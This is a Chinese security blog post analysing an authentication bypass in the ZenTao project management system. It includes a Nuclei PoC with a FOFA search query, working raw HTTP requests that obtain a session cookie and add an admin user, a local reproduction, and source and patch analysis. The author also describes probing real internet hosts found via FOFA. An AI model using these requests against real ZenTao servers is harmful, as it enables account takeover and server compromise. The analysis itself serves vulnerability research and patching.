freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

禅道项目管理系统身份认证绕过漏洞
Ry4nnnn 2024-05-16 15:42:43 226491

漏洞介绍

禅道项目管理软件是国产的开源项目管理软件,专注研发项目管理,内置需求管理、任务管理、bug管理、缺陷管理、用例管理、计划发布等功能,完整覆盖了研发项目管理的核心流程。

禅道项目管理系统存在身份认证绕过漏洞,远程攻击者利用该漏洞可以绕过身份认证,调用任意API接口并修改管理员用户的密码,以管理员用户登录该系统,能够完全接管服务器。

影响版本

16.x <= 禅道项目管理系统< 18.12(开源版)
6.x <= 禅道项目管理系统< 8.12(企业版)
3.x <= 禅道项目管理系统< 4.12(旗舰版)

POC

近期禅道PMS曝出一个身份绕过漏洞,并且已经有poc公开,poc如下:

id: easycorp-zentao-pms-idor

info:
  name: 禅道项目管理系统身份认证绕过漏洞
  author: GuoRong_X
  severity: critical
  description: |
    - 禅道系统某些API设计为通过特定的鉴权函数进行验证,但在实际实现中,这个鉴权函数在鉴权失败后并不中断请求,而是仅返回一个错误标志,这个返回值在后续没有被适当处理。此外,该系统在处理某些API时未能有效检查用户身份,允许未认证的用户执行某些操作,从而绕过鉴权机制。
  reference:
    - https://mp.weixin.qq.com/s/hiGI_fQmXOHdkPqn6x00Jw
  metadata:
    verified: true
    fofa-query: title="用户登录- 禅道"
  tags: zentao

http:
  - method: GET
    path:
      - "{{BaseURL}}/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'Set-Cookie: zentaosid='

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200b7a7caf457a9e566160cfdc539a99325db1513d5e4172a9a0a66f2f44e63022100fe0cc4ffd848c733eba3240bf102695253caa1420845a2b8aec5ca731e394759:58d4ffcb61df0489d6ab2fd018c17de6

检测逻辑是,通过向目标url发送一个GET请求,如果响应码为200,并且header中包含set-cookie: zentaosid=,即存在漏洞。

通过fofa找到几个目标,用nuclei扫描后手动尝试。先看看抓取的报文:
image
在response中确实带了zentaosid。

把cookie加到请求header中:
image
而不带cookie时,响应如下:
image
由此可以判断,应该是利用成功了。

而在提取攻击特征时,测试了几个不同的ip,发现对于参数m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu,有些ip只需要前三个参数即可,而有些ip需要带上全部参数,否则会提示param_code_missing,虽然也有zentaosid,但是带入到请求头中之后,会发现响应401,unauthorized:
image
因此通过控制变量的方式似乎无法确定触发漏洞的点。

下面通过本地搭建环境,结合上源码来分析一下该漏洞的成因。

环境搭建

这里使用的是linux一键安装包,版本为18.11,在本地kali中搭建。

下载地址如下:

禅道18.11发布啦,内置12种AI小程序,全面兼容常用语言模型 - 禅道下载 - 禅道开源项目管理软件 (zentao.net)

下载到/opt目录下,解压:

tar zxvf ZenTaoPMS-18.11-zbox_amd64.tar.gz
image
/opt/zbox/zbox start即可开启全部服务:
image
输入ip:port,选择开源版本即可:
image

漏洞复现

获取cookie

image

添加用户

把cookie加到请求头中,添加用户,ry4n/123456abc..
image
虽然返回403,但是已经成功添加

验证

用admin账户到后台查看:
image
已经多了ry4n用户。

尝试登录:
image
成功登录。

至此,成功绕过了身份验证,并且添加了用户,能够直接登录后台。

漏洞成因

poc分析

这里部署的版本为18.11.

主要的commit是在:
image
主要的改动在www/api.php,module/common/model.php,framework/base/router.class.php和framework/api/entry.class.php文件中。

一键部署的情况下,源码在/opt/zbox/app/zentao目录。
image
在获取cookie时,是通过一个GET请求,访问api.php,重点看一下api.php。

在differ中的修改如下:
image
删除$common->checkEntry();,改成了if(!$app->version) $common->checkEntry();

直接访问/api.php:
image
报错EMPTY_ENTRY.直接到代码中搜索该字符串:
image
定位到module/common/model.php中的checkEntry方法,并且可以判断出$this->app->version是false,走到了Old version这个分支。

打印一下$this->app->version,为一个空字符串,bool类型为false。

api.php中,第37行调用了该函数,从调试结果也可以看到同样的结果:
image
检查到空入口,代码到此终止。

接下来直接访问触发漏洞的url:

http://192.168.122.111/zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu
image
这里是有一个报错,Call to undefined method helper::end() in /opt/zbox/app/zentao/module/common/model.php:454,是在deny()方法中,但是仍然能够利用成功。

就从这个调用栈入手:

  • www/api.php(49): api->loadModule()

  • framework/api/router.class.php(200): router->loadModule()

  • framework/router.class.php(716): baseRouter->loadModule()

  • framework/base/router.class.php(2319): testcase->saveXmindImport()

  • module/testcase/control.php(3163): commonModel->deny('testcase', 'importXmind')

deny()是被module/testcase/control.php中的saveXmindImport方法调用:
image
而saveXmindImport()方法,是在framework/api/router.class.php中的loadModule方法中,通过call_user_func_array()来调用:
image
调试打印出有关参数:
image
可以看到调用了savexmindimport方法,并且没有传入参数。

在call方法前直接die,无法利用成功:
image
因此问题应该就出在call方法调用之后。

if(!commonModel::hasPriv("testcase", "importXmind")) $this->loadModel('common')->deny('testcase', 'importXmind');在if判断中,进入到了deny方法,因此commonModel::hasPriv("testcase", "importXmind")的返回值应该为false。

直接在deny开头加上die:
image
此时依然能够获取cookie,但是将cookie带入后,无法利用成功。

下面跟进deny中查看,整体的逻辑如下:

首先尝试重新加载用户的权限信息,如果用户仍然没有权限访问指定的模块和方法,则将用户重定向到一个权限拒绝的页面。

把$user打印出来看一下:
image
在权限重新加载之后,$user没有变化。通过die方法进行尝试,当die在$this->session->set('user', $user);之前时,获取到的cookie无效,如果在set之后,即可进行权限绕过:
image
修改代码,将后续的代码全部忽略,并且通过反射找到set()方法:
image
image
去对应的文件里找set方法,代码如下:
image
看看set方法的调用栈,并且打印出key和对应的value:
image
返回的结果如下:

enter set method:
#0  super->set(company, stdClass Object ([id] => 1,[name] => 禅道软件,[phone] => ,[fax] => ,[address] => ,[zipcode] => ,[website] => ,[backyard] => ,[guest] => 0,[admins] => ,admin,,[deleted] => 0)) called at [/opt/zbox/app/zentao/module/common/model.php:261]
#1  commonModel->setCompany() called at [/opt/zbox/app/zentao/module/common/model.php:29]
#2  commonModel->__construct() called at [/opt/zbox/app/zentao/framework/base/router.class.php:1490]
#3  baseRouter->loadCommon() called at [/opt/zbox/app/zentao/www/api.php:34]
**string(7) "company"
**object(stdClass)#483 (11) {
  ["id"]=>
  int(1)
  ["name"]=>
  string(12) "禅道软件"
  ["phone"]=>
  string(0) ""
  ["fax"]=>
  string(0) ""
  ["address"]=>
  string(0) ""
  ["zipcode"]=>
  string(0) ""
  ["website"]=>
  string(0) ""
  ["backyard"]=>
  string(0) ""
  ["guest"]=>
  string(1) "0"
  ["admins"]=>
  string(7) ",admin,"
  ["deleted"]=>
  string(1) "0"
}
**array(1) {
  ["company"]=>
  object(stdClass)#483 (11) {
    ["id"]=>
    int(1)
    ["name"]=>
    string(12) "禅道软件"
    ["phone"]=>
    string(0) ""
    ["fax"]=>
    string(0) ""
    ["address"]=>
    string(0) ""
    ["zipcode"]=>
    string(0) ""
    ["website"]=>
    string(0) ""
    ["backyard"]=>
    string(0) ""
    ["guest"]=>
    string(1) "0"
    ["admins"]=>
    string(7) ",admin,"
    ["deleted"]=>
    string(1) "0"
  }
}


enter set method:
#0  super->set(user, stdClass Object ([rights] => ,[groups] => Array (),[admin] => )) called at [/opt/zbox/app/zentao/module/common/model.php:431]
#1  commonModel->deny(testcase, importXmind) called at [/opt/zbox/app/zentao/module/testcase/control.php:3163]
#2  testcase->saveXmindImport() called at [/opt/zbox/app/zentao/framework/base/router.class.php:2319]
#3  baseRouter->loadModule() called at [/opt/zbox/app/zentao/framework/router.class.php:716]
#4  router->loadModule() called at [/opt/zbox/app/zentao/framework/api/router.class.php:200]
#5  api->loadModule() called at [/opt/zbox/app/zentao/www/api.php:49]
**string(4) "user"
**object(stdClass)#672 (3) {
  ["rights"]=>
  bool(false)
  ["groups"]=>
  array(0) {
  }
  ["admin"]=>
  bool(false)
}
**array(2) {
  ["company"]=>
  object(stdClass)#483 (11) {
    ["id"]=>
    int(1)
    ["name"]=>
    string(12) "禅道软件"
    ["phone"]=>
    string(0) ""
    ["fax"]=>
    string(0) ""
    ["address"]=>
    string(0) ""
    ["zipcode"]=>
    string(0) ""
    ["website"]=>
    string(0) ""
    ["backyard"]=>
    string(0) ""
    ["guest"]=>
    string(1) "0"
    ["admins"]=>
    string(7) ",admin,"
    ["deleted"]=>
    string(1) "0"
  }
  ["user"]=>
  object(stdClass)#672 (3) {
    ["rights"]=>
    bool(false)
    ["groups"]=>
    array(0) {
    }
    ["admin"]=>
    bool(false)
  }
}

可以看到set方法有两次调用,流程大致如下 :
image
这里有两处调用了set方法。

第一处是loadCommon,在构造方法中,调用了setCompany方法,并且通过$this->session->set('company',$company),设置了company的内容。注意到在setCompany方法后,跟了一个setUser方法:
image
跟进去添加echo语句进行调试,发现if判断全部为false,没有执行:
image
很明显,重点在于第二处set的调用。

在api.php中,首先有$app->loadModule,跟到loadModule方法中,再调用父类方法,通过call_user_func_array调用saveXmindImport方法,if语句为true(if(!commonModel::hasPriv("testcase", "importXmind")) $this->loadModel('common')->deny('testcase', 'importXmind');),最终进到deny,调用set方法($this->session->set('user', $user);),设置了user,并且通过返回的cookie,即可进行未授权操作。

回到在漏洞复现时遇到的问题:

对于参数`m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu`,有些ip只需要前三个参数即可,而有些ip需要带上全部参数,否则会提示param_code_missing,虽然也有zentaosid,但是带入到请求头中之后,会发现响应401,unauthorized

目前已经明确的是,需要通过m=testcase&f=savexmindimport参数,来调用saveXmindImport方法,进而最终进入deny()->set(),而后面的HTTP_X_REQUESTED_WITH,productID和branch参数暂时未知,下面具体看看这些参数。

直接搜索HTTP_X_REQUESTED_WITH:
image
简单筛选之后,基本可以确认就是在isAjaxRequest方法中。

直接打印调用栈查看:

image-20240507142526070

可以看到,首先是在api.php中,$app->loadModule(),进到setParams:
image
再到new $className():
image
这里创建了一个control类的实例,可以通过调试看到,className就是testcase,最终跟到testcase的construct:
image
跟前面提到的saveXmindImport相对应:
image
也就是说,在进入到saveXmindImport方法,执行deny之前,需要先进行实例化,而HTTP_X_REQUESTED_WITH参数就是在实例化的过程中,进行判断。
image
首先在外层的if语句中,!isonlybody为true,进入到内层逻辑,通过var_dump((bool))可以看到empty($products)为true,而整个if condition为false,因此不会执行return print(xxx):
image
如果if为true,执行了locate,就会跳转到"http://192.168.122.111/zentao/index.php?m=product&f=showErrorNone&t=json&moduleName=qa&activeMenu=testcase&objectID=0"也就是用户登录界面,至此,实例化失败,并且后续的saveXmindImport()->deny()也全部中断。

因此isAjaxRequest()必须为true,结合代码如下:
image

$isAjax = (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH'] === 'XMLHttpRequest') || (isset($_GET['HTTP_X_REQUESTED_WITH']) && $_GET['HTTP_X_REQUESTED_WITH'] === 'XMLHttpRequest');

因此,||两边有一个为真即可,可以在url中添加HTTP_X_REQUESTED_WITH=XMLHttpRequest,也可以添加到请求头中.

新的利用方式

经过测试,两种方法均可利用成功:

GET /zentao/api.php?m=testcase&f=savexmindimport HTTP/1.1
Host: 192.168.122.111
Upgrade-Insecure-Requests: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

GET /zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest HTTP/1.1
Host: 192.168.122.111
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close


综上,只需要testcase,savexmindimport和XMLHttpRequest参数满足即可,保证代码能够顺利实例化testcase的control,并且进入到deny,set添加user属性即可。

代码differ

下面针对补丁来进行分析。

身份验证绕过漏洞,要么是在给出cookie的时候出问题,要么是在拿到cookie之后,鉴权的时候出问题。

也就是如下两个url:

  • /zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest

  • /zentao/api.php/v1/users

/zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest

首先是/zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest,在前面已经分析过,在checkEntry中,$this->app->version为false,因此本来也不会进入if语句进行判断,此处修改并没有改变执行逻辑:
image
下面是同一个文件中的checkNewEntry方法:
image
commit之后,直接删除了checkNewEntry方法,而该方法仅仅是在checkEntry中,当$this->app->version为true时,会进行调用:
image
此处改动也没有影响执行逻辑。

往下就到了startSession():
image
主要的改动是在if条件判断中,直接在代码中加入如下调试语句:
image
再次访问后结果如下:
image
(isset($_GET[$this->config->sessionVar]))和(isset($_SERVER['HTTP_TOKEN']))都为false,同样没有影响代码的执行逻辑。

最后一处commit在framework/api/entry.class.php中:
image
分别在__construct()和checkPriv()方法中加入类似下面的调试语句:
image
刷新之后并没有任何print,因此并没有调用这两个方法。

很明显,commit修改的部分,主要是在鉴权的阶段。

/zentao/api.php/v1/users

在访问/v1/users时,$this->app->version为v1,因此会进入到checkNewEntry中,并且返回false。

而startSession和checkPriv同上,暂时跳过。

最后就剩下构造方法:
image
存在漏洞的代码为:

if(!isset($this->app->user) or $this->app->user->account == 'guest') throw EndResponseException::create($this->sendError(401, 'Unauthorized'));

而修改之后的代码为:

if(!isset($this->app->user->account) or $this->app->user->account == 'guest') throw EndResponseException::create($this->sendError(401, 'Unauthorized'));

在代码中加上var_dump((bool)xxx),刷新后查看:
image
可以看到,在漏洞修复之后,if条件语句的值由false变为了true,成功走到了throw EndResponseException::create($this->sendError(401, 'Unauthorized')),抛出异常,并且返回了401未授权。

将原先的代码注释掉,跑一遍修复后的代码:
image
401,unauthorized。

可见,问题就出在构造方法,在其中进行权限判断时出现了错误。

将$this->app->user打印出来:
image
user对象存在,所以!isset($this->app->user)为false,而user->account为NULL,$this->app->user->account == 'guest'也为false,导致整个condition为false,跳过了sendError。

而在修改之后,先检查了user->account是否存在,如果account不存在,或者account==guest,就抛出异常,终止程序。

# 网络安全 # 漏洞分析 # 网络安全技术
本文为 Ry4nnnn 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Ry4nnnn LV.4
末流脚本小子
  • 9 文章数
  • 4 关注者
CVE-2023-7028_gitlab 任意用户密码重置漏洞复现
2024-01-16
Portswigger Labs — OAuth authentication
2023-12-28
Portswigger Labs — CSRF
2023-12-28
文章目录